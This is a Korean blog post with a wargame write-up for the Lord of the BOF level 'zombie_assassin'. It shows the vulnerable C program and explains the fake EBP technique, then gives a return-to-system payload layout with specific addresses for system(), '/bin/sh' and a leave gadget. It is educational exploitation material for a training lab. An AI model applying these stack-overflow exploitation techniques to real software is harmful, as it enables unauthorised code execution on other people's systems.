[LOB] assassin -> zombie_assassin

Posted by dw0rdptr
2015. 4. 18. 03:01 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48); 
    printf("%s\n", buffer);
}
cs


소스를보면 strncpy로 인자가 48바이트로 제한돼 ret까지밖에 덮지 못한다. 이렇게 스택과 라이브러리를 필터링하고 ret이후로 덮어쓸 수 없을 때 fake ebp 기법을 활용한다


fake ebp란 sfp에 buffer-4의 주소를 덮어 ebp를 버퍼주소로 옮기고 ret에 leave주소를 덮어 함수 에필로그 과정을 한번 더 수행해 sfp를 변조해 만든 가짜 ebp로 esp가 가게 만들어 우회하는 기법이다. buffer-4 인 이유는 leave를 한번 더 수행할 때 pop ebp 과정으로 인해 esp+4가 되기 때문에 버퍼의 시작주소에 맞추기 위함이다


[system()][dummy(or exit())]["/bin/sh"][28byte dummy][buffer-4][leave]

                                                                                 ↓         ↓

                                                                                sfp       ret


system()과 /bin/sh 주소구하는 방법 전레벨과 같으므로 생략

buffer-4와 leave의 주소를 구하자


leave : 0x80484df

buffer-4 : 0xbffffa60-4 = 0xbffffa5c

[0x40058ae0][AAAA][0x400fbff9][AAA...AA(28byte)][0xbffffa5c][0x80484df]


페이로드와 Password


'System > LOB' 카테고리의 다른 글

[LOB] succubus -> nightmare  (0) 2015.06.01
[LOB] zombie_assassin -> succubus  (0) 2015.04.30
[LOB] giant -> assassin  (0) 2015.04.14
[LOB] bugbear -> giant  (2) 2015.04.14
[LOB] darkknight -> bugbear  (0) 2015.04.12